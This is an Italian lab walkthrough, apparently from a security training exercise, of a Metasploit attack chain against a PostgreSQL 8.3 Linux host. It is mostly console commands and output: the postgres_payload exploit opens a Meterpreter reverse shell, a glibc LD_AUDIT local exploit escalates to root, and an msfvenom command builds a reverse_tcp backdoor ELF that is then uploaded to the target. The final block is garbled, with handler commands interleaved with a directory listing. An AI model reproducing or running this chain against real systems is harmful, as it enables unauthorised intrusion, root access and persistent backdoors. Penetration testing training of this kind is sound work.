

Escalation privilegi metasploit

- Avvio msfconsole ricerca e set exploit

```
codici vari C
msf6 > search exploit/linux/postgres/postgres_payload

Matching Modules
=====

# Name                               Disclosure Date Rank Check Description
- - - - -
0 exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
1 \_ target: Linux x86
2 \_ target: Linux x86_64

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Linux x86_64'
```

```
ù[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > ùoptions
[-] Unknown command: ùoptions. Did you mean options? Run the help command for more details.
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
Name Current Setting Required Description
---
SESSION yes The session to run this module on
SUID_EXECUTABLE /bin/ping yes Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---
LHOST 192.168.50.150 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name
--
0 Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
```

- Esecuzione exploit

```
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.50.150:5432
[*] 192.168.50.152:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/vXGJAohl.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.50.152
[*] Meterpreter session 1 opened (192.168.50.150:5432 -> 192.168.50.152:32935) at 2024-09-25 14:28:21 +0200

meterpreter > |
```

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.50.150:4444
[*] Sending stage (1017704 bytes) to 192.168.50.161
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.1YihPTZf' (1271 bytes) ...
[*] Writing '/tmp/.nKCoZGrW' (286 bytes) ...
[*] Writing '/tmp/.fJG4Q' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.50.152
[*] Meterpreter session 3 opened (192.168.50.150:4444 -> 192.168.50.152:43217) at 2024-09-26 14:52:40 +0200

meterpreter > getuid
Server username: root
meterpreter > |
```

- Creazione e upload backdoor

```
msf6 > msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.50.150 LPORT=4444 -f elf > /home/kali/backdoor.elf
[*] exec: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.50.150 LPORT=4444 -f elf > /home/kali/backdoor.elf

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes

msf6 > |
```

```
meterpreter > ls
Listing: /var/lib/postgresql/8.3/main/info, or info -d command.
=====
msf6 exploit(multi/handle) > set lhost 192.168.50.150
Mode-> 192Size.Type Last modified      Name
-----
msf6 exploit(multi/handle) > run
-----
100600/rw----- 4   fil 2010-03-17 15:08:46 +0100 PG_VERSION
100600/rw-----207 fil 2024-09-26 14:38:47 +0200 backdoor.elf
040700/rwx-----4096 dir 2010-03-17 15:08:56 +0100 base
040700/rwx-----4096 dir 2024-09-26 14:41:57 +0200 global
040700/rwx-----4096 dir 2010-03-17 15:08:49 +0100 pg_clog
040700/rwx-----4096 dir 2010-03-17 15:08:46 +0100 pg_multixact
040700/rwx-----4096 dir 2010-03-17 15:08:49 +0100 pg_subtrans
040700/rwx-----4096 dir 2010-03-17 15:08:46 +0100 pg_tblspc
040700/rwx-----4096 dir 2010-03-17 15:08:46 +0100 pg_twophase
040700/rwx-----4096 dir 2010-03-17 15:08:49 +0100 pg_xlog
100600/rw-----125 fil 2024-09-26 14:31:56 +0200 postmaster.opts
100600/rw-----54  fil 2024-09-26 14:31:56 +0200 postmaster.pid
100644/rw-r--r--1540s fil 2010-03-17 15:08:45 +0100 root.crt
100644/rw-r--r--1224 fil 2010-03-17 15:07:45 +0100 server.crt
100640/rw-r--r--891 fil 2010-03-17 15:07:45 +0100 server.key
```